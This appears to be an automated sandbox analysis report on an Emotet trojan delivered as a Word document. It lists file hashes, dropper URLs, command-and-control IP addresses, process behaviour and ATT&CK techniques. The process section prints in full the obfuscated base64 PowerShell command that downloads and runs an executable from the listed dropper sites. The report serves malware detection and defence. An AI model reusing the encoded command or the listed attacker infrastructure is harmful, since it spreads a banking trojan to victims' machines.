emotet | f5671015ad6746cf334bbde3f8310dc831719a74e5432d619f8843e20be44dd0

General

Target

SecuriteInfo.com.Exploit.Siggen2.13672.11891.1756.doc
Size

171KB
MD5

9d5c42cc6b300971492f6fb0a7b75330
SHA1

f4f31c675360db33800b67e498d3d09063258ce5
SHA256

f5671015ad6746cf334bbde3f8310dc831719a74e5432d619f8843e20be44dd0
SHA512

64b326f3a7bc9167d12187ad9b4c9faad6b4a43f57e1e80090d3f099b1ef632a854d1006ef06cedd6869183291e8fd8ff66f5acb66cdbde4d714100488e5fa71

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

http://muliarental.com/wp-includes/uwr_u4_ed3qzbb/

exe.dropper

http://ltrybus.com/cgi-bin/mff_xao9d_5ld5qajfmx/

exe.dropper

http://my6thgen.org/_db_backups/t_e_v7qizcr2/

exe.dropper

http://mywebnerd.com/bluesforsale/zi6_v4g0_rmyg/

exe.dropper

http://www.naayers.org/Library/o_eo_97ml/

Extracted

Family

emotet

C2

142.105.151.124:443

62.108.54.22:8080

212.51.142.238:8080

71.208.216.10:80

108.48.41.69:80

83.110.223.58:443

210.165.156.91:80

104.131.44.150:8080

104.236.246.93:8080

5.39.91.110:7080

209.141.54.221:8080

209.182.216.177:443

153.126.210.205:7080

91.211.88.52:7080

180.92.239.110:8080

183.101.175.193:80

162.241.92.219:8080

87.106.139.101:8080

114.146.222.200:80

65.111.120.223:80

rsa_pubkey.plain

Signatures

Suspicious behavior: EnumeratesProcesses 11 IoCs

Processes:

powersheLL.exespinf.exe

pid	process
1032	powersheLL.exe
1032	powersheLL.exe
1032	powersheLL.exe
3836	spinf.exe
3836	spinf.exe
3836	spinf.exe
3836	spinf.exe
3836	spinf.exe
3836	spinf.exe
3836	spinf.exe
3836	spinf.exe

Blacklisted process makes network request 1 IoCs

Processes:

powersheLL.exe

flow pid process

12 1032 powersheLL.exe
Executes dropped EXE 2 IoCs

Processes:

659.exespinf.exe

pid process

2080 659.exe
3836 spinf.exe

flow	pid	process
12	1032	powersheLL.exe

pid	process
2080	659.exe
3836	spinf.exe

Suspicious use of WriteProcessMemory 3 IoCs

Processes:

659.exe

description	pid	process	target process
PID 2080 wrote to memory of 3836	2080	659.exe	spinf.exe
PID 2080 wrote to memory of 3836	2080	659.exe	spinf.exe
PID 2080 wrote to memory of 3836	2080	659.exe	spinf.exe

Emotet Payload 2 IoCs

Detects Emotet payload in memory.

Processes:

resource	yara_rule
behavioral2/memory/2080-10-0x0000000000610000-0x000000000061C000-memory.dmp	emotet
behavioral2/memory/2080-10-0x0000000000610000-0x000000000061C000-memory.dmp	emotet

Drops file in System32 directory 1 IoCs

Processes:

659.exe

description ioc process

File opened for modification C:\Windows\SysWOW64\BitsProxy\spinf.exe 659.exe

description	ioc	process
File opened for modification	C:\Windows\SysWOW64\BitsProxy\spinf.exe	659.exe

Suspicious use of SetWindowsHookEx 11 IoCs

Processes:

WINWORD.EXE659.exespinf.exe

pid	process
3352	WINWORD.EXE
3352	WINWORD.EXE
3352	WINWORD.EXE
3352	WINWORD.EXE
3352	WINWORD.EXE
3352	WINWORD.EXE
3352	WINWORD.EXE
3352	WINWORD.EXE
3352	WINWORD.EXE
2080	659.exe
3836	spinf.exe

Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

3352 WINWORD.EXE
3352 WINWORD.EXE

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

powersheLL.exe

description	pid	pid_target	process	target process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1032	1800	powersheLL.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powersheLL.exe

description pid process

Token: SeDebugPrivilege 1032 powersheLL.exe

description	pid	process
Token: SeDebugPrivilege	1032	powersheLL.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Exploit.Siggen2.13672.11891.1756.doc" /o ""
1⤵
- Suspicious use of SetWindowsHookEx
- Suspicious behavior: AddClipboardFormatListener
- Checks processor information in registry
- Enumerates system info in registry
PID:3352

C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
powersheLL -e JABJAFEAWQBKAFUAcABwAG0APQAnAFcASwBPAFkATwB6AHcAdQAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAEUAQwBgAFUAYABSAGkAYABUAFkAUABSAG8AVABgAG8AYwBPAGwAIgAgAD0AIAAnAHQAbABzADEAMgAsACAAdABsAHMAMQAxACwAIAB0AGwAcwAnADsAJABGAFkATwBGAEUAbgBkAHoAIAA9ACAAJwA2ADUAOQAnADsAJABJAFcAUgBHAEgAawB0AHMAPQAnAFQARgBZAEMAUwBnAGIAawAnADsAJABWAFgASwBJAFgAZABoAGMAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAEYAWQBPAEYARQBuAGQAegArACcALgBlAHgAZQAnADsAJABMAEQAVQBUAEwAcgBrAHMAPQAnAEcASgBQAEkASwB3AHoAcQAnADsAJABRAEcAUQBaAEEAdABxAG8APQAmACgAJwBuAGUAdwAtACcAKwAnAG8AJwArACcAYgBqAGUAYwB0ACcAKQAgAG4ARQB0AC4AVwBFAGIAQwBMAGkAZQBuAHQAOwAkAFIAVQBVAE4ASgB5AHoAcQA9ACcAaAB0AHQAcAA6AC8ALwBtAHUAbABpAGEAcgBlAG4AdABhAGwALgBjAG8AbQAvAHcAcAAtAGkAbgBjAGwAdQBkAGUAcwAvAHUAdwByAF8AdQA0AF8AZQBkADMAcQB6AGIAYgAvACoAaAB0AHQAcAA6AC8ALwBsAHQAcgB5AGIAdQBzAC4AYwBvAG0ALwBjAGcAaQAtAGIAaQBuAC8AbQBmAGYAXwB4AGEAbwA5AGQAXwA1AGwAZAA1AHEAYQBqAGYAbQB4AC8AKgBoAHQAdABwADoALwAvAG0AeQA2AHQAaABnAGUAbgAuAG8AcgBnAC8AXwBkAGIAXwBiAGEAYwBrAHUAcABzAC8AdABfAGUAXwB2ADcAcQBpAHoAYwByADIALwAqAGgAdAB0AHAAOgAvAC8AbQB5AHcAZQBiAG4AZQByAGQALgBjAG8AbQAvAGIAbAB1AGUAcwBmAG8AcgBzAGEAbABlAC8AegBpADYAXwB2ADQAZwAwAF8AcgBtAHkAZwAvACoAaAB0AHQAcAA6AC8ALwB3AHcAdwAuAG4AYQBhAHkAZQByAHMALgBvAHIAZwAvAEwAaQBiAHIAYQByAHkALwBvAF8AZQBvAF8AOQA3AG0AbAAvACcALgAiAFMAUABsAGAAaQBUACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAUgBLAFIAWgBBAHgAcQBzAD0AJwBZAEgAVgBTAE4AbwB3AGkAJwA7AGYAbwByAGUAYQBjAGgAKAAkAFkASgBMAEcAUwByAGsAYgAgAGkAbgAgACQAUgBVAFUATgBKAHkAegBxACkAewB0AHIAeQB7ACQAUQBHAFEAWgBBAHQAcQBvAC4AIgBkAE8AdwBuAGAATABgAG8AYQBkAGAARgBpAEwARQAiACgAJABZAEoATABHAFMAcgBrAGIALAAgACQAVgBYAEsASQBYAGQAaABjACkAOwAkAEoAUABMAEEAVgBvAGoAbQA9ACcASQBLAFUAQwBDAGMAcwBrACcAOwBJAGYAIAAoACgAJgAoACcARwBlAHQALQBJACcAKwAnAHQAZQAnACsAJwBtACcAKQAgACQAVgBYAEsASQBYAGQAaABjACkALgAiAEwARQBuAEcAYABUAEgAIgAgAC0AZwBlACAAMgAwADYAMAAzACkAIAB7ACgAWwB3AG0AaQBjAGwAYQBzAHMAXQAnAHcAaQBuADMAMgBfAFAAcgBvAGMAZQBzAHMAJwApAC4AIgBDAHIAZQBgAEEAdABlACIAKAAkAFYAWABLAEkAWABkAGgAYwApADsAJABNAEMAWABDAFQAawBtAGwAPQAnAE8AVgBCAE0AQwBpAHEAYQAnADsAYgByAGUAYQBrADsAJABRAE8AQwBRAE4AbgBpAGgAPQAnAFYARQBUAEEARABuAG8AdwAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABMAE0AUwBQAEkAZABlAHkAPQAnAEgAWQBTAFQATQBiAHAAdAAnAA==
1⤵
- Suspicious behavior: EnumeratesProcesses
- Blacklisted process makes network request
- Process spawned unexpected child process
- Suspicious use of AdjustPrivilegeToken
PID:1032

C:\Users\Admin\659.exe
C:\Users\Admin\659.exe
1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
PID:2080

C:\Windows\SysWOW64\BitsProxy\spinf.exe
"C:\Windows\SysWOW64\BitsProxy\spinf.exe"
2⤵
- Suspicious behavior: EnumeratesProcesses
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:3836

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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Downloads

C:\Users\Admin\659.exe

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C:\Users\Admin\659.exe

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C:\Windows\SysWOW64\BitsProxy\spinf.exe

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memory/2080-10-0x0000000000610000-0x000000000061C000-memory.dmp

Filesize
48KB

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memory/3352-3-0x0000015D597F2000-0x0000015D597F5000-memory.dmp

Filesize
12KB

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memory/3352-5-0x0000015D5995A000-0x0000015D5995F000-memory.dmp

Filesize
20KB

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memory/3352-6-0x0000015D59955000-0x0000015D5995A000-memory.dmp

Filesize
20KB

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memory/3352-7-0x0000015D5995A000-0x0000015D5995F000-memory.dmp

Filesize
20KB

Download
memory/3352-4-0x0000015D5626D000-0x0000015D5627E000-memory.dmp

Filesize
68KB

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memory/3352-0-0x0000015D597F2000-0x0000015D597F5000-memory.dmp

Filesize
12KB

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memory/3352-2-0x0000015D597ED000-0x0000015D597F2000-memory.dmp

Filesize
20KB

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memory/3352-1-0x0000015D597ED000-0x0000015D597F2000-memory.dmp

Filesize
20KB

Download
memory/3836-11-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads